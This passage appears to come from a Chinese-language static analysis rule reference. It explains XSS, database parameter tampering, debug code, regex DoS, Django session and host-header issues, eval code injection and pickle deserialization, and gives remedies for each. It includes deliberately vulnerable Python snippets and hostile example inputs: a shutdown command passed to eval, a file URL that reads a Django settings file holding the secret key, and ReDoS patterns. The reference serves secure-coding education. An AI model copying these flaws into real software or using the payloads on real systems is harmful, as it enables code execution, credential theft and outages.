	恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。 示例 2：下面的 Python 代码片段根据给定的雇员 ID 查询数据库，并打印采用 HTML 编码的相应雇员姓名。 ... cursor.execute("select * from emp where id="+eid) row = cursor.fetchone() self.writeln('Employee name: ' + escape(row["emp"])) ... 如同 Example 1，如果对 name 的值处理得当，该代码就能正常地执行各种功能；如若处理不当，就会对代码的漏洞利用行为无能为力。同样，这段代码看起来似乎危险较小，因为 name 的值是从数据库中读取的，而且这些内容明显是由应用程序管理的。然而，如果 name 的值来自用户提供的数据，数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证，那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS（或 Stored XSS），它极其隐蔽，因为数据存储导致的间接行为会增大辨别威胁的难度，并使多个用户受此攻击影响的可能性提高。XSS 漏洞利用首先会在网站上为访问者提供一个“留言簿”。攻击者会在这些留言簿的条目中嵌入 JavaScript，接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。 正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种： - 如 Example 1 中所示，系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。 - 如 Example 2 中所示，应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中，并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用：攻击者将危险内容注入到数据存储中，而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权，或者可以与敏感数据交互，这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容，攻

返回目录

	击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人敏感数据的访问权。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – "<" 是一个特殊字符，因为它可以引入一个标签。 – "&" 是一个特殊字符，因为它可以引入一个字符实体。 – ">" 是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个 "<"，却错误地将其遗漏了。

返回目录

	下面的这些原则适用于属性值： – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 - "&" 与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符： – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 - "&" 是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现 "%68%65%6C%6C%6F" 时，只有从输入的内容中过滤掉 "%"，上述字符串才能在网页上显示为 "hello"。 在 <SCRIPT> </SCRIPT> 的正文内： - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本： – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。

返回目录

	许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Reflected**
默认严重性	4.0
摘要	文件 X（文件） 的第 N 行向一个 Web 浏览器发送了未验证的数据，从而导致该浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。
	在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 Y（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	例 1：以下 Python 代码片段可从 HTTP 请求中读取雇员 ID eid，并将其显示给用户。
	req = self.request() # fetch the request object
	eid = req.field('eid',None) # tainted request message
	...
	self.writeln("Employee ID:" + eid)
	如果 eid 只包含标准的字母或数字文本，这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。
	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
	例 2：以下 Python 代码片段可根据一个已知的雇员 ID 查询数据库，并显示出相应的雇员姓名。
	...
	cursor.execute("select * from emp where id="+eid)
	row = cursor.fetchone()
	self.writeln('Employee name: ' + row["emp"]')

返回目录

	... 如同 Example 1，如果对 name 的值处理得当，该代码就能正常地执行各种功能；如若处理不当，就会对代码的漏洞利用行为无能为力。同样，这段代码看起来似乎危险较小，因为 name 的值是从数据库中读取的，而且这些内容明显是由应用程序管理的。然而，如果 name 的值来自用户提供的数据，数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证，那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS（或 Stored XSS），它极其隐蔽，因为数据存储导致的间接行为会增大辨别威胁的难度，并使多个用户受此攻击影响的可能性提高。XSS 漏洞利用首先会在网站上为访问者提供一个“留言簿”。攻击者会在这些留言簿的条目中嵌入 JavaScript，接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。 正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种： - 如 Example 1 中所示，系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。 - 如 Example 2 中所示，应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中，并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用：攻击者将危险内容注入到数据存储中，而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权，或者可以与敏感数据交互，这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人敏感数据的访问权。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态

返回目录

	内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – "<" 是一个特殊字符，因为它可以引入一个标签。 – "&" 是一个特殊字符，因为它可以引入一个字符实体。 – ">" 是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个 "<"，却错误地将其遗漏了。 下面的这些原则适用于属性值: – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 - "&" 与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。

返回目录

	例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符： – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 - "&" 是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现 "%68%65%6C%6C%6F" 时，只有从输入的内容中过滤掉 "%"，上述字符串才能在网页上显示为 "hello"。 在 <SCRIPT> </SCRIPT> 的正文内： - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本： – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 79, CWE ID 80

返回目录

OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**DB Parameter Tampering**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从 XX（元素） 元素获取用户输入。应用程序使用此输入过滤敏感数据库表中的个人记录，但未进行验证。Y（文件） 文件第 M 行的 YYY（方法） 方法向 YY（元素） 数据库提交了一个查询，但数据库未对其进行任何额外过滤。这可能使用户能够根据 ID 选择不同的记录。
解释	恶意用户只需更改发送到服务器的引用参数即可访问其他用户的信息。这样，恶意用户可能绕过访问控制并访问未经授权的记录，例如其他用户帐户，窃取机密或受限制的信息。 应用程序访问用户信息时未按照用户 ID 进行过滤。例如，它可能仅根据提交的帐户 ID 提供信息。应用程序使用用户输入来过滤含有敏感个人信息（例如用户账户或支付详情）的数据库表中的特定记录。因为应用程序未根据任何用户标识符过滤记录，也未将其约束到预先计算的可接受值列表，所以恶意用户可以轻松修改提交的引用标识符，从而访问未授权的记录。
建议	通用指南： 提供对敏感数据的任何访问之前先强制检查授权，包括特定的对象引用。 显式阻止访问任何未经授权的数据，尤其是对其他用户的数据的访问。 如果可能，尽量避免允许用户简单地发送记录 ID 即可请求任意数据的情况。例如，应用程序应查找当前经过身份验证的用户会话的帐户 ID，而不是让用户发送帐户 ID。 具体措施： 根据用户特定的标识符（例如客户编号）过滤数据库查询。 将用户输入映射到间接引用（例如通过预先准备的允许值列表）。
CWE	CWE ID 284
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Debug Enabled**
默认严重性	3
摘要	应用程序源代码在 X（文件） 文件第 N 行包含源代码 XX（元素），这是开发和调试时留下的，不是指定应用程序功能的一部分。
解释	测试和调试代码不应部署到生产环境，它们可能会创建意外的入口点，从而增加应用程序的受攻击面。此外，这些代码通常未经过相应的测试或维护，并且可能还保留着已在代码库的其他部分中修复的历史漏洞。通常，调试代码会包含功能性“后门”，使程序员能够绕过运行安全机制，例如身份验证或访问控制。 在应用程序开发期间，程序员通常会使用专门的代码，以方便调试和测试。程序员甚至通常会使调试代码绕过安全机制，以便将测试集中在特定功能上，并将其与安全架构隔离开来。 此调试或测试代码未从代码库中删除，然后被包含在软件构建中并部署到了生产环境中。
建议	- 部署或构建应用程序之前删除所有调试代码。确保配置中未启用调试模式。 - 通过可以将测试用例代码与应用程序的其余部分隔离的专用测试框架实现所有测试代码。 - 避免在应用程序代码本身中实现特殊的“测试代码”、“调试时间”功能或“秘密”接口或参数。 - 使用专用的 CI / CD 工具定义和实施标准和自动的构建/部署过程，以自动配置部署的应用程序、排除所有临时代码、并仅包含指定的应用程序代码。
CWE	CWE ID 11
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Denial of Service:Regular Expression**
默认严重性	4.0
摘要	不受信任数据被传递至应用程序并作为正则表达式使用。 这会导致线程过度使用 CPU 资源。
解释	实施正则表达式评估程序及相关方法时存在漏洞，在评估包含自重复分组表达式的正则表达式时，该漏洞会导致线程挂起。 此外，还可以利用任何包含相互重叠的替代子表达式的正则表达式。 此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。 示例: (e+)+ ([a-zA-Z]+)* (e|ee)+ 已知的正则表达式实现方法均无法避免这种攻击。 所有平台和语言都容易受到这种攻击。
建议	请不要将不可信赖的数据用作正则表达式。
CWE	CWE ID 185, CWE ID 730
OWASP2017	None

返回目录

漏洞名称	**Django Bad Practices:Attributes in Deny List**
默认严重性	3.0
摘要	应用程序使用拒绝列表来控制 X（文件） 中的表单所显示的属性。当添加新属性时开发人员可能会忘记更新拒绝列表，也可能会不小心将敏感字段暴露给攻击者。应用程序使用拒绝列表来控制表单所显示的属性。当添加新属性时开发人员可能会忘记更新拒绝列表，也可能会不小心将敏感字段暴露给攻击者。

解释	应用程序使用 exclude 拒绝列表。这很难维护，而且容易出错。如果开发人员向表单或备份表单的 Model 添加新字段，并忘记了更新 exclude 筛选器，则可能会向攻击者暴露敏感字段。攻击者将能够向任何未排除的字段提交和恶意绑定数据。
	示例 1：以下表单显示了一些 User 属性，但对以下用户 id 检验了拒绝列表：
	from myapp.models import User
	...
	class UserForm(ModelForm):
	class Meta:
	model = User
	exclude = ['id']
	...
	如果使用新的 role 属性更新了 User 模型，但未更新相关联的 UserForm，则 role 属性将显示在表单中。

建议	使用表单 Meta 类中的 fields 属性，因此当添加新字段时，除非开发人员更新列表，否则它在表单中不可用。
	示例 2：下列代码使用了允许列表方法。
	from myapp.models import User
	...
	class UserForm(ModelForm):
	class Meta:
	model = User
	fields = ['name', 'lastname', 'email']
	...
	如果使用新的 role 属性更新了 User 模型，但未更新相关联的 UserForm，则在默认情况下 role 属性将不显示在表单中。

CWE	None
OWASP2017	None

返回目录

漏洞名称	**Django Bad Practices:Cookie Stored Sessions**
默认严重性	3.0
摘要	在用户注销时，基于 Cookie 的会话不会失效。如果攻击者要查找、偷窃或拦截用户的 cookie，即使用户已经注销，他们也能模拟用户。
解释	在 Cookie 中存储会话数据有以下几个问题： 1. 在用户注销时，基于 Cookie 的会话不会失效。如果攻击者要查找、偷窃或拦截用户的 cookie，即使用户已经注销，他们也能模拟用户。 2. 会话 cookie 签名可避免篡改并保证数据的真实性，但这无法阻止 replay 攻击。 3. 会话数据将使用 Django 的加密签名和 SECRET_KEY 设置工具进行存储。如果 SECRET_KEY 泄露，那么攻击者不仅能伪造会话数据，如果应用程序使用 Pickle 将会话数据序列化成 cookie，攻击者还能够生成恶意 Pickle 数据，这些数据一旦反序列化即可执行任意代码。 4. 会话数据已签名但未加密。这意味着，攻击者将能够读取会话数据，但不能对其进行修改。 5. cookie 大小和序列化过程可造成性能问题，具体随站点负载而异。
建议	请尽可能避免使用基于 cookie 的会话。在服务器中存储会话数据，并始终在用户注销时使会话失效。 Django 提供以下备选方案： 1. 数据库支持的会话（默认选项） 2. 基于 memcached 的会话 3. 基于文件的会话
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Django Bad Practices:Overly Broad Host Header Verification**
默认严重性	3.0
摘要	如果不验证 Host 标头，攻击者就会有机会发送假的 Host 值，该值可用于跨站请求伪造、缓存中毒攻击和电子邮件中的中毒链接。
解释	Django 应用程序设置将“*”指定为 ALLOWED_HOSTS 设置中的条目。此设置被 django.http.HttpRequest.get_host() 用来验证 Host 标头。值“*”将允许在 Host 标头中使用任何主机。攻击者可将其用于缓存中毒攻击或电子邮件中的中毒链接。 例 1：应用程序提供密码重置功能，用户可以提交某个唯一值来证明其身份（如：电子邮件地址），然后用户将收到密码重置邮件，内含设置新密码的页面链接。发送给用户的链接可以使用 Host 值来构建，用来引用提供密码重置功能的网站，从而避免使用硬编码的 URL。例如： ... def reset_password(request): url = "http://%s/new_password/?token=%s" % (request.get_host(), generate_token()) send_email(reset_link=url) redirect("home") ... 攻击者能够通过提交受害者的电子邮件和指向自己所控制服务器的假 Host 标头值来尝试重置受害者的密码。受害者将收到内含密码重置系统链接的电子邮件，如果该受害者决定访问该链接，则会访问攻击者控制的网站，而该网站将提供假表单来收集受害者的凭证。
建议	当使用 Host 标头值执行敏感操作时，请始终验证该值。Django 为此使用了 ALLOWED_HOSTS 设置。该设置应包含一个字符串列表，表示 Django 站点应使用的主机名/域名。此列表仅限站点可以使用的主机或域，并避免使用“*”值。 正如 Django 文档所述，此验证仅在使用 django.http.HttpRequest.get_host() 时才适用；如果代码直接从 request.META 访问 Host 标头，则会绕过此安全保护。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Django Bad Practices:Pickle Serialized Sessions**
默认严重性	3.0
摘要	如果攻击者能够控制会话数据，则经过 Pickle 序列化的会话可导致执行远程代码。

解释	如果使用基于 cookie 的会话，并且泄露了 SECRET_KEY，则攻击者将能够在会话 cookie 中存储任意数据，在服务器中对这些数据进行反序列化，就可以执行任意代码。
	如果使用基于 cookie 的会话，请格外小心以确保密钥对于任何可能远程访问的系统来说都始终处于完全保密的状态。
	例 1：如果 SECRET_KEY 在 settings.py 配置文件中进行了硬编码，则以下查看方法可使攻击者有机会窃取它。
	...
	def some_view_method(request):
	url = request.GET['url']
	if "http://" in url:
	content = urllib.urlopen(url)
	return HttpResponse(content)
	...
	Example 1 方法会通过检查 URL 中是否存在“http://”来检查 url 参数是否为有效 URL。恶意攻击者可能会发送以下 URL 来泄露可能包含 SECRET_KEY 的 settings.py 配置文件：
	file://proc/self/cwd/app/settings.py#http://
	注：UNIX 系统中的“/proc/self/cwd”指向过程工作目录。这使攻击者无需知道具体位置就能引用文件。

建议	使用 JSON 而非 Pickle 对会话数据进行序列化。Django 1.5.3 引入了一项新设置 SESSION_SERIALIZER，用来自定义会话序列化格式。在 Django 1.5.x 中，此设置默认为 django.contrib.sessions.serializers.PickleSerializer，但对于安全加固，从 Django 1.6 起，其默认设置为 django.contrib.sessions.serializers.JSONSerializer。当使用基于 cookie 的会话时，强烈推荐使用 JSON 序列化，因为如果 SECRET_KEY 的安全受到威胁，JSON 反序列化不会导致执行远程代码。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**DoS by Sleep**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法是为 XX（元素） 元素获取用户输入。该元素的值最终被用于定义 Y（文件） 文件第 M 行的 YYY（方法） 方法中的应用程序“休眠”时段。这可能导致 DoS by Sleep 攻击。
解释	攻击者可能提供非常高的休眠值，有效地造成长时间拒绝服务。 应用程序使用用户提供的值设置休眠时长，而未为此值设置一个限制范围。
建议	理想情况下，休眠命令涉及的持续时间应该完全与用户输入无关。它应该是或者硬编码的、在配置文件中定义的、或者是在 runtime 时动态计算的。 如果需要允许用户定义休眠持续时间，则必须检查该值并将其限制在预定义的有效值范围内。
CWE	CWE ID 730
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Dynamic Code Evaluation:Code Injection**
默认严重性	3.0
摘要	X（文件） 文件将未验证的用户输入解析为第 N 行的源代码。在运行时中解析用户控制的指令，会让攻击者有机会执行恶意代码。在运行时中解析用户控制的指令，会让攻击者有机会执行恶意代码。
解释	许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时（如对当前的用户对象进行简单的计算或修改用户的状态），就会出现 code injection 漏洞：然而，若不经过适当的验证，用户指定的操作可能并不是程序员最初所期望的。 示例：在这个经典的 code injection 实例中，应用程序可以实施一个基本的计算器，该计算器允许用户指定执行命令。 ... userOps = request.GET['operation'] result = eval(userOps) ... 如果 operation 参数的值为良性值，程序就可以正常运行。例如，当该值为“8 + 7 * 2”时，result 变量被赋予的值将为 22。然而，如果攻击者指定的语言操作是有效的，又是恶意的，那么，将在对主进程具有完全权限的情况下执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令，这种攻击甚至会更加危险。例如，如果攻击者计划将“os.system('shutdown -h now')”指定为 operation 的值，主机系统就会执行关机命令。
建议	在任何时候，都应尽可能地避免动态的代码解析。如果程序的功能要求对代码进行动态的解析，您可以通过以下方式将此种攻击的可能性降低到最小：尽可能的限制程序中动态执行的代码数量，将此类代码应用到特定的应用程序和上下文中的基本编程语言的子集。 如果需要执行动态代码，应用程序绝不应当直接执行和解析未验证的用户输入。而应采用间接方法：创建一份合法操作和数据对象列表，用户可以指定其中的内容，并且只能从中进行选择。利用这种方法，就绝不会直接执行由用户提供的输入。
CWE	CWE ID 95, CWE ID 494
OWASP2017	A1 Injection

返回目录

漏洞名称	**Dynamic Code Evaluation:Unsafe Pickle Deserialization**
默认严重性	4.0
摘要	X（文件） 文件使用 N 行上的 Pickle 对未经校验的数据进行反序列化。在运行时对用户控制的数据进行反序列化，会让攻击者执行任意代码。在运行时对用户控制的数据进行反序列化，会让攻击者执行任意代码。
解释	Python 官方文档声明: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. Pickle 是强大的序列化库，为开发人员提供了一种传输对象到自定义 Pickle 演示文稿，然后对这些对象进行序列化处理的简单方法。Pickle 通过定义 __reduce__ 方法，允许任意对象声明如何对它们进行反序列化处理。这种方法应该为其返回一个 callable 和多个参数。Pickle 将使用提供的参数调用可调用的对象，以构建允许攻击者执行任意命令的新对象。
建议	防止任意对象反序列化的最佳方法是避免对用户控制的数据进行反序列化。如果需要对用户控制的数据进行反序列化处理，应该使用自定义的 Pickle 子类来精确控制解封哪些内容，以及调用哪些内容。有关详细信息，请参考《Python 库参考资料》。
CWE	CWE ID 502
OWASP2017	A8 Insecure Deserialization

返回目录

